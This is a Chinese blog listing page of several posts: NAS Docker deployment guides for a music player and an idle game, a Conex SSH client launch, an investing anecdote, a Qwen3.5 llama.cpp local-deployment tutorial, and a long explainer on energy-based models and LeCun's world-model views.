包含关键字 typecho 的文章

点赞 + 关注 + 收藏 = 学会了

💡整理了一个 NAS 专属玩法专栏,感兴趣的工友可以戳这里关注 👉 《NAS邪修》

YesPlayMusic 是一款颜值极高、界面清爽的第三方网易云音乐播放器。

由于网易云官方的接口限制,YesPlayMusic 目前已经无法直接登录网易云账号了

本次演示使用飞牛 NAS (fnOS) 进行部署,如果你使用的是其他品牌的 NAS(如绿联、群晖、极空间等),只要支持 Docker,操作逻辑都大同小异。

打开 NAS 的「文件管理」,找到 docker 文件夹,在其中新建一个名为 yesplaymusic 的文件夹。

打开「Docker」应用,切换到 「Compose」 面板。

点击新建项目,按以下信息进行配置:

  • 项目名称yesplaymusic
  • 路径:选择刚刚创建的 /docker/yesplaymusic
  • 来源:选择 创建 docker-compose.yml
  • 其他设置:勾选 创建项目后自动启动

将以下代码复制并粘贴到配置框中:

services:
  yesplaymusic:
    image: fogforest/yesplaymusic:latest
    container_name: yesplaymusic
    ports:
      - 3456:80

其中,3456 这个端口可以自定义。

等项目构建成功,切换到 「容器」 面板。

找到运行中的 yesplaymusic,直接点击它旁边的链接按钮,或者在浏览器地址栏手动输入NAS的局域网IP:3456 就能使用 YesPlayMusic 了。

可以开始听歌了。

正如开头所说,现在无法直接登录。只能通过“搜索网易云账号”这项来读取账号公开数据。


以上就是本文的全部内容啦,你有好玩的镜像推荐吗?欢迎在评论区留言讨论!

想了解更多NAS玩法记得关注《NAS邪修》👏

点赞 + 关注 + 收藏 = 学会了

点赞 + 关注 + 收藏 = 学会了

整理了一个NAS小专栏,有兴趣的工友可以关注一下 👉 《NAS邪修》

vue-xiuxiangame 是基于 Vue 框架开发的开源文字修仙挂机游戏,中文名叫「我的文字修仙全靠刷」。

开局以凡人身份起步,从 0 修为、基础攻防属性开始,通过修炼突破境界、挂机刷资源、玩休闲小游戏赚灵石,离线也能自动升级。

我用飞牛 NAS 部署,其他品牌的 NAS 只要有 Docker,部署的步骤都是差不多的。

在“文件管理”的“docker”里创建一个“xiuxian”文件夹。

打开 Docker 应用,切换到“Compose”面板,创建一个新项目。

  • 项目名称:xiuxian。
  • 路径:选择刚刚创建的”xiuxian“文件夹。
  • 来源:创建docker-compose.yml。
  • 勾选”创建项目后立即重启“。

然后输入以下代码

services:
 xiuxian:
  image: setube/vue-xiuxiangame:latest
  container_name: xiuxian
  ports:
   - 2334:8080
  restart: always

我给它配置了 2334 这个端口,你可以根据自己需求配置。

项目构建好之后,打开浏览器,输入 NAS的IP:2334 就可以开玩了。

记得领一下新手礼包。


以上就是本文的全部内容啦,有疑问可以在评论区讨论~

想了解更多NAS玩法可以关注《NAS邪修》👏

点赞 + 关注 + 收藏 = 学会了

春节前因为看新闻美国双航母前往中东,感觉大概率就要有冲突的,节前买了黄金股 ETF 、油气 ETF 、中远海控大概加起来六七万吧,作为这个 2 月刚开在 A 股开户学投资的新人来说,后来还是因为各种新闻等一些原因节后清仓,现在老美真的开干,下周一这几个估计大盘高开,有时候看到趋势,但自己的认知不够,拿不住筹码也真的是难以言说的痛.晚上睡不着了。
图片

大家好,分享一下我做的一个项目 Conex —— 一个现代化的跨平台 SSH 客户端。

做这个项目的初衷很简单:Termius 非常好用但是实在消费不起,所以就自己写了一个。。

主要功能

  • SSH 终端:基于 xterm.js ,支持 256 色和真彩色,体验接近原生终端
  • 主机管理:支持分组、搜索,轻松管理大量服务器
  • 多标签页:同时连接多台服务器,自由切换
  • SFTP 文件浏览器:可视化管理远程文件,支持上传、下载、批量操作,带进度条
  • 端口转发:本地/远程 TCP 隧道,一键启停
  • 代码片段:保存常用命令,一键复制
  • 密钥管理:集中管理 SSH 密钥,支持导入和编辑
  • 云端加密同步( Pro ):支持 Google / GitHub 登录,使用 AES-256-GCM 端到端加密,同步你的主机、密钥、片段等配置,方便多设备和混合办公牛马、数字游民。
  • 深色 / 浅色主题切换
  • 中英文双语支持

关于定价

本地功能完全免费使用,无任何限制。云端同步功能需要 Pro 计划,目前提供 30 天免费试用

跨平台

支持 macOS 、Windows 、Linux (计划中)。

官网: https://getconex.app

Conex

欢迎大家试用,也欢迎提需求和建议!有价值建议提供免费更长 Pro 计划答谢。

全文链接:https://tecdat.cn/?p=45082
原文出处:拓端数据部落公众号

 

封面

大模型本地化部署与实战应用专题

引言

在当今AI技术快速迭代的背景下,大模型的能力边界不断被突破,但随之而来的隐私安全、推理成本等问题也逐渐凸显。对于许多企业和研究者而言,将大模型部署在本地环境,既能保证数据隐私,又能灵活控制推理流程,成为了迫切需求。我们团队在近期的一个咨询项目中,就帮助客户完成了Qwen3.5大模型的本地化部署,并基于此开发了一款股票筛选工具,整个方案已通过实际业务校验。
本文将从环境准备开始,一步步讲解如何在单GPU上高效运行Qwen3.5,包括llama.cpp的编译、模型下载、服务启动,以及最终的应用开发。希望能为有大模型本地化需求的读者提供一些实用参考。
本文内容改编自过往客户咨询项目的技术沉淀并且已通过实际业务校验,该项目完整代码教程已分享至交流社群。阅读原文进群获取更多最新AI见解和行业洞察,可与900+行业人士交流成长;还提供人工答疑,拆解核心原理、代码逻辑与业务适配思路,帮大家既懂 怎么做,也懂 为什么这么做;遇代码运行问题,更能享24小时调试支持。

全文脉络流程图

进群获取完整内容及更多AI见解、行业洞察,与900+行业人士交流成长。

Qwen3.5模型概述

Qwen3.5是阿里推出的最新大模型系列,在推理、编程和多模态任务上都有出色表现。独立基准测试显示,Qwen3.5-397B-A17B在LiveCodeBench、AIME26等测试中得分很高,不少类别上超过了主流模型,推理吞吐量也比前代提升明显。

硬件与软件要求

要在本地流畅运行Qwen3.5,得先满足硬件和软件要求。我们这次用的是NVIDIA H200 GPU(141GB显存),搭配240GB系统内存,能高效运行MXFP4_MOE版本的Qwen3.5。
作为参考,Unsloth 4-bit动态量化版本UD-Q4_K_XL大约占214GB磁盘空间,能直接放在256GB的设备上,也能在单张24GB GPU加256GB内存的环境中运行,每秒能生成25个以上token。3-bit量化版本能放在192GB内存里,8-bit版本则需要最多512GB的显存和内存总和。
一般来说,显存加内存的总和最好和量化后的模型大小差不多。如果不够,llama.cpp能把部分模型卸载到SSD,但推理速度会变慢。
软件方面,得安装最新的NVIDIA GPU驱动,还有近期的CUDA Toolkit,保证和llama.cpp、CUDA加速推理兼容。

环境搭建

要在本地运行Qwen3.5,得有一台性能强劲的GPU机器。大多数笔记本和台式机没有足够的显存或内存来运行这么大的模型,所以我们用云GPU虚拟机。
这次我们用Hyperbolic来私密运行模型,也可以用AutoDL、恒源云等替代平台。选Hyperbolic是因为它目前的GPU实例性价比很高。
先启动一个单H200 GPU的实例。

机器启动后,能看到公网IP地址和连接所需的SSH命令。

连接前,确保本地设置好了SSH,创建虚拟机时添加了公钥。
实例准备好后,用带端口转发的SSH连接。这很重要,因为我们要通过8080端口在本地访问llama.cpp推理服务:

ssh -L 8080:localhost:8080 root@129.212.191.53

第一次连接时,输入yes确认,然后用SSH密钥认证。

登录后,验证GPU是否正确检测:

nvidia-smi

输出里应该能看到NVIDIA H200。

最后,安装下载、编译和运行llama.cpp所需的Linux软件包:

sudo apt updatesudo apt install pciutils build-essential cmake curl libcurl4-openssl-dev -y

完成这步后,环境就准备好安装llama.cpp和本地运行Qwen3.5了。


相关文章

DeepSeek、LangGraph和Python融合LSTM、RF、XGBoost、LR多模型预测NFLX股票涨跌|附完整代码数据

原文链接:https://tecdat.cn/?p=44060


安装llama.cpp

llama.cpp是开源的C/C++推理引擎,能让你用最少的设置本地运行大语言模型,支持CPU和GPU加速。
先克隆llama.cpp仓库:

接下来,用CMake配置启用CUDA的构建。我们用-DGGML_CUDA=ON启用CUDA,把CUDA架构设为90a,因为我们用的是NVIDIA H200(Hopper架构)。这能让构建生成针对Hopper特性优化的GPU代码。


现在编译服务器二进制文件。llama-server是内置的REST服务器,能把llama.cpp暴露为API端点:


最后,把编译好的二进制文件复制到主文件夹,方便运行:

下载Qwen3.5模型

现在llama.cpp安装好了,下一步是下载GGUF格式的Qwen3.5模型权重。这些文件很大,所以用Hugging Face CLI是最可靠的方法,直接把它们下载到GPU机器上。
我们先安装Python,因为Hugging Face下载工具和认证工具是作为Python包分发的。虽然llama.cpp本身是用C++写的,但Python让管理模型下载和传输容易多了。
先安装pip:

接下来,安装Hugging Face Hub客户端和性能辅助工具。hf_transferhf-xet能大幅加快下载速度,这在下载数百GB的模型文件时很重要:

现在从Hugging Face下载Qwen3.5模型。这次我们只获取MXFP4_MOE变体,它针对高效的MoE推理进行了优化:


下载完成后,模型文件会存储在model_storage/Qwen3.5里,准备加载到llama.cpp进行本地推理。
进群获取完整内容及更多AI见解、行业洞察,与900+行业人士交流成长。

启动推理服务

现在我们能用llama-server启动Qwen3.5了。这会给我们一个OpenAI兼容的API端点,能从本地工具和应用调用。
我们针对单GPU设置优化了服务器,做了三件关键的事。第一,启用--fit on,让llama.cpp自动在GPU显存和系统内存之间平衡模型,而不是在模型不能完全放进显存时失败。
第二,用--ctx-size 16384设置更大的上下文窗口,让服务器能处理更长的提示。第三,启用--jinja并传递--chat-template-kwargs来控制聊天格式,禁用思考模式以获得更快、更直接的响应。
用以下命令运行服务器:

模型加载时,你会注意到它同时使用GPU显存和系统内存,这对于大型MoE模型来说是正常的。

加载完成后,服务器可以在以下地址访问:

  • 虚拟机上的0.0.0.0:8080
  • SSH端口转发后本地机器上的http://127.0.0.1:8080

    让服务器保持运行。在本地电脑上,打开一个新终端,用SSH端口转发重新连接:

然后通过列出可用模型来测试服务器:

如果响应中看到Qwen3.5,说明服务器运行正常,你可以准备从OpenAI SDK和本地应用调用它了。

接口测试

现在Qwen3.5推理服务器运行起来了,下一步是验证它能和真实的客户端应用正常工作。llama.cpp最大的优势之一是llama-server暴露了OpenAI兼容的API,这意味着你可以使用官方OpenAI SDK而不用改变代码结构。
先在本地机器上(或者如果你愿意的话在虚拟机里)安装OpenAI Python包:

现在运行一个简单的测试脚本。这会连接到你本地转发的端点http://127.0.0.1:8080/v1,而不是OpenAI的云服务器。

这里有几个重要的细节需要理解:

  • base_url指向你本地的Qwen3.5服务器,而不是OpenAI的API。
  • SDK仍然需要api_key,但llama.cpp不强制认证,所以任何占位符值都可以。
  • model="Qwen3.5"名称和我们启动服务器时设置的别名匹配。
    如果一切配置正确,你会从模型得到快速、清晰的响应。

    这确认了:
  • Qwen3.5模型加载成功
  • llama.cpp服务器运行正常
  • 你的SSH端口转发正常工作
  • 端点与OpenAI风格的应用完全兼容
    此时,你可以将Qwen3.5集成到任何已经支持OpenAI API格式的本地工具、智能体工作流或应用中。

股票筛选应用开发

llama.cpp包含一个内置的、ChatGPT风格的WebUI,你可以用它直接在浏览器中与模型聊天。这对于快速测试、提示迭代和生成代码很有用,不需要先写任何客户端脚本。
因为我们已经设置了SSH端口转发,你可以在本地机器上打开WebUI,它的行为就像服务器运行在你的笔记本上一样。
默认情况下,WebUI可以在以下地址访问:
http://127.0.0.1:8080
如果这个页面加载,它确认了两件事。你的SSH隧道工作正常,Qwen3.5服务器可以在本地访问,同时仍然在GPU虚拟机上私密运行。

进入WebUI后,粘贴这个提示。目标是让模型同时生成Python代码和简短的使用指南。
构建一个简单的Python TUI(文本用户界面)“股票筛选训练器”,使用rich库运行(没有Web UI),用python stock_app.py启动。它应该让你输入股票代码列表,选择模式(成长/价值/分红)和风险(低/中/高),从免费来源获取每个股票的基本公开指标,显示实时加载状态,然后渲染一个漂亮的表格和“根据我的评分规则的前5名”部分,带有清晰的“仅供教育,不构成财务建议”免责声明,并将完整结果保存到stockults.csv
几秒钟内,Qwen3.5应该会生成一个stop.py文件,通常还有一个关于如何运行它的快速解释。

现在切换到你的本地终端(你的笔记本)。安装生成的应用所需的依赖:

这会安装:

  • rich用于TUI布局、表格、提示和进度指示器
  • yfinance用于获取免费的公开股票指标
    创建一个名为stock_app.py的文件,粘贴模型生成的代码,然后运行:

运行脚本后,你应该会看到TUI在你的终端中正常启动。应用会提示你输入要分析的股票代码,以及你偏好的筛选模式和风险水平。
例如,我们用三只热门股票测试了它。

短暂的加载阶段后,工具返回完整的股票指标表格,根据评分规则突出显示结果,并将所有内容保存到stock_results.csv文件。

这是一个很好的例子,说明Qwen3.5如何仅使用4-bit量化模型端点和简单提示,一次性生成完整的工作应用。
进群获取完整内容及更多AI见解、行业洞察,与900+行业人士交流成长。

总结

本地运行Qwen3.5是一种强大的方式,可以在保持一切私密和完全在你控制之下的同时,访问前沿规模的模型。在本文中,模型托管在单个H200 GPU虚拟机上,使用SSH端口转发从本地机器安全访问,并通过优化的llama.cpp OpenAI兼容端点提供服务。
也就是说,有一些实际限制值得记住。因为一切都依赖于活动的SSH隧道,连接需要保持稳定。如果你的网络中断或会话断开,你会失去对本地端口的访问,通常需要重新连接并重新启动部分工作流。
另一个常见问题是正确构建llama.cpp。如果你没有为你的GPU指定正确的CUDA架构标志,编译可能需要更长时间,并且可能无法完全针对硬件进行优化。提前设置正确的架构会在构建时间和性能上产生明显差异。
最后,虽然4-bit MXFP4_MOE量化对于高效运行大型模型非常好,但它并不总是适合智能体编程工作流。在使用Qwen Code CLI、Kilo Code CLI和OpenCode等工具进行测试时,模型在深度推理方面遇到困难,并且在较长的生成循环中经常失败,有时甚至触发GPU不稳定。
更高精度的量化或更小的专注于推理的模型可能更适合可靠的基于智能体的编程。

封面

Yann LeCun 反复强调过一个观点:当前LLM基于概率、逐 Token 预测的设计路线,很可能走不到人类水平的AI。他的团队更看好另一条路,基于能量的模型(EBM)。

上图来自他十多年前的一篇论文,LLM对候选答案返回"概率",EBM返回的则是"能量",能量最低的选项胜出。举个例子:输入 X = "汽车有4个轮子吗?",LLM可能给出 p("是") = 0.9、p("否") = 0.1;EBM则可能给出 E("是", X) = -3.1、E("否", X) = 0.4。谁的能量低谁就是答案。

两类模型的差异大吗?对EBM的输出做某种"归一化"就应该得到LLM输出的概率,但是差异恰恰就在归一化这一步。LLM用 Softmax 保证概率之和为1,EBM则松开了这条约束。训练时不需要归一化、不需要计算概率,在高维连续空间中反而获得了更多的灵活性和可训练性。对连续数据(比如图像)的全部可能输出做归一化本身就极其困难,能绕开就绕开。

构建EBM模型

给每个(可能的)数据点分配一个能量值,这个值是某个函数 E(x) 对输入数据点返回的标量。数据点出现的概率与该标量成反比——能量低则概率高,反过来也成立。回忆高中物理里各种"能量"(势能、动能等),势能越低的系统通常越稳定,道理一样。

假设已经拿到了 E(x),能否把它转换成概率?有时候确实需要,因为两个分别训练的系统各自输出的能量没有共同的校准基准,不能直接比较与合并;做密度估计时也需要概率。

密度估计是整个概率AI的核心主题,假定存在一个随机过程持续产生可观测的数据点,密度估计的任务是根据已观测的数据"猜"出该过程的概率密度函数(PDF)。一旦掌握了PDF数据的分布规律就清楚了:不仅能做预测,还能做生成。

理解数据生成过程的PDF,远超常规AI中"给定 X 预测 Y"的范畴。后者只是在估计某个过程的结果,不尝试理解或建模整个过程,生成完全是另一码事。

寻找能量函数 E(x)

训练EBM的核心目标:找到一个能量函数,能够为给定的 X 识别出最佳的 Y。换言之,在一系列可能的 Y 值中,哪一个和当前 X 最兼容?

合理的做法是训练一个深度神经网络,接收数据点(X 和 Y 的组合)作为输入,输出一个标量。X 和 Y 兼容性低时输出高值,兼容性好时输出低值。为了符号简洁,将能量函数的输入统一记作 x,即 E(x),x 代表 X 和 Y 的组合。

训练方式是常规套路:取大量数据样本,学习能量函数 E(x) 的参数 θ,让已观测到的、合理的数据点能量低,不太可能出现的数据点能量高。损失函数需要同时做两件事:(1) 压低正确答案的能量;(2) 抬高错误答案的能量。

一般性理论到这里就够了,但是接下来才进入更棘手的部分:寻找密度函数。

寻找概率密度函数(PDF)

目标是找到由 θ 参数化的概率密度函数 q(x):

能量函数 E(x) 的值域是 -∞ 到 +∞,取指数后输出自动变为正值,概率必须为正。至于为什么不直接约束 E(x) 本身为正?因为放开限制能让设计更自由,只要用 exp(E(x)) 保证输出为正即可。接下来做归一化:所有状态的概率之和(或积分)应该等于1,分母中的 Z 干的就是这件事。这样PDF就搞定了。

Z 大概是学概率模型的人最怕遇到的东西。名字有好几个——配分函数、归一化常数——出了名地难算。

指数前面那个负号呢?坦白讲没有功能性意义,纯粹是惯例所以去掉也不影响。

能量函数和密度函数的概念到此为止。

来自物理学的一点启发

上面的内容大量借鉴自物理学。把墨水滴入水中,它怎样扩散?过程本身是随机的,但宏观上系统总是从高能量状态向低能量状态演化。如果一个随机过程有10种可能的状态,每种状态各有其能量值,系统最终大概率停留在能量最低的那个状态。能量是一种粗粒度度量,它把一个状态内部所有微观过程的贡献浓缩成一个数。

远在AI出现之前,Boltzmann就发明了一种概率分布来描述热平衡中气体的统计力学行为。Gibbs后来做了进一步改进,这个分布被称为 Boltzmann分布(也叫Gibbs分布)。它给出系统处于某个状态的概率,是该状态能量和系统温度的函数。

p_i 是系统处于状态 i 的概率,ε_i 是该状态的能量,常数 k*T 不重要。Boltzmann分布说的一件事很简单:能量低的状态被占据的概率更高。要得到精确的概率值,除以归一化常数 Z 即可。而这个方程和EBM的密度估计 q(x) 几乎一模一样——物理学的直觉和EBM的数学走到了同一条路上。

训练EBM

LeCun讨论了多种损失函数。这类任务天然适合对比训练方法:拿一对样本喂给模型,训练目标是让其中一个的能量高于另一个。这种对比性质适合自监督训练。要绕开 Z可以构造只关心能量相对差异、不需要计算绝对概率的训练场景——比如取两个能量的比值,让 Z 在分子分母间自行消掉。

最终目标是学到一个能量景观:高概率的数据点能量低,低概率的能量高,全程不碰 Z。可选的算法有 Score Matching 族以及其他几类方法,但如果要建模密度函数 q(x) 呢?

这意味着要计算精确概率而非相对概率。分母里的 Z 注定让事情变困难。精确计算需要遍历所有可能的数据配置,计算量是"不可解的"。绕过精确 Z 的办法是用 MCMC 等采样过程产生大量样本,对训练所需的对数似然梯度做近似估计。对数似然展开后有两个关键项:

第一项的梯度把已观测数据点的能量往下压让它们更可能出现。第二项对数配分函数 Z 的梯度,则把其余所有位置的能量往上抬,防止模型给什么数据都打低能量。这一项实际上就是能量在模型当前分布上的平均梯度。

操作上可以这么理解:从模型中"生成"样本,和已观测的数据点混在一起训练,目的是让已观测数据点获得低能量、模型生成的样本获得高能量。用LeCun讲课时的比喻来说,损失函数应该在能量景观中"雕刻"出地形——训练样本附近挖坑(能量低),其他地方填高。模型要学会在观测数据所在位置"挖洞",在其余位置"堆土"。详细推导见附录。

回头再看LeCun论文中训练EBM的原始图示:

Y_i 是正确答案,Y_i 上方带hash标记的则是"最具迷惑性的错误答案",所有错误答案中能量最低的那个。在连续情况下定义正误很直观:Y_i 一定距离内的答案算正确,超出该距离的算错误。设计良好的损失函数在学习过程中会压低 E(Y_i, X_i),同时抬高错误答案的能量,尤其是 E(Y¯_i, X_i)。

不过生成样本非常慢,因为马尔可夫链必须跑到平衡态才能采样步数往往很大。为此 Hinton 提出了对比散度(CD)方法:只运行极短的马尔可夫链,采样速度大幅提升。设 p_0 为数据分布、p_∞ 为模型分布,梯度按以下公式计算:

右侧第一项是数据分布与模型分布之间的"散度",即 p_0 和 p∞ 之差(至于它们为什么不直接叫 P_data 和 P_model,LeCun也没解释)。第二项是短程MCMC链——从 p_0 出发跑 n 步得到 p_n——与模型分布 p∞ 之间的散度。直觉解释见附录。

上面这个差分关注的是"模型经过 n 步后偏离数据的程度",由此产生的梯度引导模型让训练数据更可能出现,同时让 n 步重建的结果更不可能出现。令人意外的是即使 n = 1,训练出来的EBM质量也相当好。

配合一些工程技巧——比如训练过程中维护并复用样本缓冲区——速度还能进一步提升。

使用训练好的EBM做推理

假设手上已有一个训练好的EBM,推理过程是什么样的?

和常规模型不同EBM的推理不是直接"给定 X 输出 Y"。这里需要遍历 Y 的所有可能取值,找出哪个 X 与 Y 的组合能量最低,那就是最终预测。本质上这是一个优化问题,模型预测的是输入 X 和输出 Y 之间的兼容程度。由此可以衍生出几类任务:分类——"哪个 Y 与 X 最兼容?"取能量最低的组合,应用场景如机器人导航;排序——"Y1 和 Y2 哪个与 X 更兼容?"按能量排序即可,应用场景如数据挖掘;检测——"这个 Y 与 X 兼容吗?"看能量升降趋势,如人脸检测中图像越不像人脸能量越高。

推理可以概括为:固定已观测变量的值,搜索剩余变量的配置使能量最小化。这个过程代价可能很高,需要选择合适的优化算法。参考LeCun的论文,按照 Y 的形式不同,推理策略也不同:

如果 Y 是连续变量且能量曲面 E(X,Y) 光滑,直接套用基于梯度的优化算法找最优 Y 就行。与训练阶段更新网络权重不同,这里是对 Y 本身做优化——从某个初始 Y 出发,沿 E(X,Y) 对 Y 的梯度方向迭代,直到落入极小值。思路和训练神经网络并无本质区别。如果 Y 是一组离散变量,能量函数可以表达为因子图——即若干依赖于不同变量子集的能量函数(因子)之和——那么可以用 min-sum 等算法。图、团和EBM的关系后面会进一步讨论。如果输出 Y 的每个元素可以表示为加权有向无环图(DAG)中的一条路径,特定 Y 的能量就是沿路径的边和节点值之和;因为图无环且能量是简单求和,最优路径可以用动态规划(如Viterbi算法)高效求解,在生物序列分析(如基因查找)中很实用。还有一些情况下,能量函数依赖于一组隐变量 Z——比如训练人脸检测系统时尺度和姿态信息未知。很多时候精确优化不切实际,必须诉诸近似方法,包括替代能量函数。

EBM的优势

EBM属于指数族,在AI领域有大量成熟的技术和工具可供复用。做最大似然估计取对数似然时"对数"和"指数"相互抵消,让数学处理变得简洁得多。统计物理中配分函数、自由能、变分近似等概念同样可以直接搬过来用。

在架构设计和训练准则方面,EBM比概率方法有更大的回旋余地。关键优势在于:概率方法不可解的场景下,EBM是可解的。概率模型必须做归一化,往往需要在所有可能的变量配置空间上计算积分,而很多时候这个积分根本算不出来。EBM不要求归一化,这个问题被天然绕过了。

EBM还有一个有意思的性质:总能量可以是多个能量函数之和——即专家乘积(Product of Experts)。图模型其实是EBM的一个特例,能量函数分解为各个能量项的和。为每个团(clique)分别设计能量函数然后简单相加就得到总能量,已有成熟的推理算法可以对这些项之和关于目标变量求最小值。听起来有些抽象,值得展开解释。

EBM作为因子图

从专家乘积(PoE)说起。PoE模型将多个专家各自输出的概率密度相乘得到总概率,每个"专家"对应一个未归一化能量函数。什么是未归一化能量函数?之前定义过归一化版本的能量函数:

未归一化能量函数就是分子部分,即 Exp(-E(x))。

假设整体能量函数复杂到无法直接处理——高维、变量众多。如果能把这个复杂系统拆分成若干子系统,每个子系统只依赖一小部分变量,每个子系统就是一个"专家"。这些专家的乘积给出总概率。因为子系统规模小得多,可以更透彻地分析和设计各自的能量函数。

做乘积时,把各专家的指数函数相乘即可。根据 Exp(a) * Exp(b) = Exp(a+b),乘法变成了各能量的简单加法,整体(未归一化)能量就是各子能量之和。

和试图为整个复杂系统找一个巨大的能量函数相比,把多个小而专的能量函数直接相加明显更可行——一个专家负责某方面,另一个负责另一方面。EBM的能量函数就这样被"因式分解"为各个函数(因子)之和,等价于因子图表示的图模型。

任何传统图模型都可以表示为因子图,EBM在这类场景下有天然的适配性。为每个团分别定义能量函数,求和即得总能量。团就是变量的一个子集。循环置信传播等高效算法可以用来计算最低能量配置。

从Hopfield网络到Transformer注意力机制

能量模型并非新事物1982年 John Hopfield 就提出了一种循环人工神经网络,功能类似"联想记忆系统"。

就像一丝微弱的气味能唤起完整的记忆一样,Hopfield网络接收不完整的数据,尝试还原完整的原始模式。它的机制正是EBM:将"模式"存储为能量景观中稳定的局部最小值。面对损坏或缺失的输入,网络迭代更新神经元状态,沿能量景观不断下降,直至落入最近的稳定"记忆",输出完整的重建结果。具体过程如下:

  • 将损坏或不完整的图像输入网络。
  • 网络中的神经元彼此相连,迭代更新自身状态,持续降低系统总能量。
  • 网络达到稳定的最低能量状态时停止更新——得到对原始未损坏模式的最佳重建。

去噪只是一个方面。这类网络也能用于求解优化问题(如旅行商问题),收敛到低能量状态就对应着优化问题的解。

Hopfield网络的能量函数由 Lyapunov函数 控制返回一个将神经元状态映射到实数值的标量,Hopfield网络是确定性的总会收敛到最近的局部能量最小值。另一种架构——玻尔兹曼机——则引入了随机性(概率性),使网络有能力跳出局部最小值去寻找全局最优。

玻尔兹曼机通常包含隐含单元,因而能建模更复杂的数据结构、学习内部表示。从物理意义上说,隐含节点在可见节点之间引入了有效的高阶交互,产生了针对可见节点的新能量函数。当隐含节点与可见节点之间的交互设为零时,玻尔兹曼机退化为Hopfield网络。

模拟和训练玻尔兹曼机不容易。一种简化方案是移除所有层内连接、只保留层间连接——所有可见节点都连到所有隐含节点,同层内无连接。由此得到的受限玻尔兹曼机参数更少、表达能力有所下降,但训练更方便且泛化性能更好。训练依然适用前面讨论过的那些技术。

2024年诺贝尔物理学奖颁给了Geoffrey Hinton和John Hopfield。Hopfield网络启发了现代机器学习方法。AI领域没有独立的诺贝尔奖类别,不过Hinton和LeCun拿到了地位相当的图灵奖——话题又回到了LeCun和他的团队。

LeCun的世界模型

LeCun离开Meta后创立了AMI Labs。他的核心论点是:当前LLM一次生成一个 Token 的固有设计,决定了它无法达到人类水平的智能,EBM可能是另一条出路。

EBM能同时预测整个输出序列的能量,而LLM每次只输出单个 Token 的概率。给整个句子算一个能量,再和其他候选句子比较,这在LLM框架下做不到。推而广之,规划在中途就能评估进展时效果最好——如果只在最后才拿到反馈,那和猜没什么区别。一个可以施加到中间状态的评分,能告诉你当前是否正确、哪里需要修复。EBM正好提供了这种能力:能量可以在部分轨迹上计算,而非仅限于最终答案。

从认知科学角度看,EBM可以(大致)对应Daniel Kahneman《思考,快与慢》中那种缓慢而审慎的类型2思维:在推理时运行优化过程以最小化能量,模仿深思熟虑的过程。LLM则按顺序逐 Token 生成、从不回头检查,本质上是"快"而直觉式的类型1思考。EBM可以在输出之前对完整答案反复斟酌,正如人类在面对复杂问题时所做的那样。LeCun的原话是:"真正的推理应该被表述为一个优化问题。"

Softmax 在这方面有结构性缺陷。它本质上是"赢者通吃"——两个输出值只要稍有差距,Softmax就会把这个差距放大为概率上的巨大悬殊。生成模型在理想状态下应当能考虑多种可能的下一步,而不是每次都锁定得分最高的那个选项。基于 Softmax 的模型天生具有单峰偏差:擅长表示分布中单一的宽峰,难以处理落在输入空间不相邻区域的数据。EBM不存在这个问题,它可以同时给多个不相交的数据区域赋予低能量(多峰分布中多个不同的峰)。Softmax还带来过度自信的问题——膨胀大的输出、压制小的输出,程度远超合理范围。虽然有各种变通方案,但这是一个结构层面的硬伤。

LLM还有一个根本局限:它困在文本的离散世界里,缺乏人类意义上的"世界模型",无法预判行动的后果。试图构建一个预测未来每个细节的生成模型注定行不通。在世界建模的框架下,做法是在输入空间中预测未来状态,再通过EBM衡量这些预测状态与当前上下文之间的"兼容性"。

人脑对世界的感知方式也不是直接的。大脑通过感官观察世界,从中构建出外部世界的表征,这个过程发生在一个独立的潜空间中。潜空间的结构与真实世界有关联,但针对实用性而非精确性做了优化。世界模型也应当具备类似特性。

JEPA(联合嵌入预测架构)是世界模型方向上的一次尝试。它学习世界的抽象表征(团队用视频做了实验),在抽象空间中做预测。I-JEPA 面向图像,V-JEPA 面向视频,都跳过了像素级重建,直接在潜空间中预测更高层次的特征。JEPA及类似模型在不同程度上借鉴了EBM的思想。严格说它们不是完整的EBM——推理时不做能量优化,仍然走常规前向传播——但确实把能量或相关替代指标用作了模型架构的关键组件。Logical Intelligence 发布的Kona是一个更激进的例子。

Kona是面向关键系统的"基于能量"的AI模型,核心机制是物理驱动的优化而非逐 Token 预测。它能同时生成完整的推理轨迹,并直接对问题和约束做条件化。推理在连续潜空间中进行,输出密集向量 Token 而非离散 Token,因而可以利用学到的能量对推理轨迹做受控的局部编辑,通过近似梯度信息改善连贯性和约束满足度。在困难数独上Kona的解题率达到96.2%,超出当时所有前沿LLM。

附录

每当在概率AI方面有疑问,翻开Goodfellow等人的《深度学习》总能找到答案。这本书封底有三位在AI领域可能无人能及的学者的推荐语,不是没有原因的。直接跳到第18章,标题恰如其分——"面对配分函数"。先从之前讨论过的对数似然入手。

它来源于一个简单的关系:

PDF p 等于未归一化的 PDF(p 上方带hash标记)除以归一化常数 Z。θ 是要通过梯度下降求解的参数集。上式对数似然的梯度展开后变成:

到这里并没有做什么复杂的操作。倒三角是梯度符号。幸运的是,这在机器学习中是常见的模式——学习的正阶段(第一项)和负阶段(第二项)。第一项从数据集中采样就能轻松求出,真正麻烦的是第二项。注意 Z 本身只是 p(带hash标记)的求和或积分,因而是 θ 的函数,求梯度就必须对它做计算。

第二项可以通过几步简单变换改写为期望值的形式。

有了期望值的形式,就可以用采样来近似:从模型 p(x) 中抽取若干 x 的样本,做蒙特卡罗估计得到训练所需的梯度。最终的对数似然梯度变为:

方程中两项各有分工。第一项对应从数据集中均匀抽样计算梯度;第二项对应从正在训练的模型 p(x) 中用MCMC抽样、取平均后计算梯度。这就是机器学习文献中的正阶段与负阶段。正阶段中,对从数据集抽取的 x 增大 log p˜(x);负阶段中,对从模型分布抽取的 x 减小 log p˜(x),以此降低配分函数。全程只需要处理未归一化的 p˜,不涉及 Z 的精确计算,操作上完全可行。

能量函数去哪了?Goodfellow给出了连接:深度学习文献中通常用能量函数来参数化 log p˜。正阶段于是对应压低数据集中训练样本的能量,负阶段对应抬高从模型中抽取的样本的能量。

再看Goodfellow版本的能量升降图示,和LeCun的版本略有不同:

绿色的点表示数据集的PDF。从数据集中均匀采样时,取到的 x 更多地集中在绿色峰值附近。正阶段是对数似然梯度的第一项,它让模型的 PDF p(x) 在这些数据点周围有更高的密度(对应的能量应被压低,但这里暂不引入能量概念以保持简洁),从而让模型逐渐逼近数据分布。

但正阶段有一个副作用:它盲目地在所有位置增加未归一化概率——绿色峰值处加得多一些,其他地方也加了。只做这一步是不够的。要加速收敛,必须同步降低其他位置的未归一化概率。这正是负阶段做的事情。(虽然叫"阶段",两者实际上同步发生。)

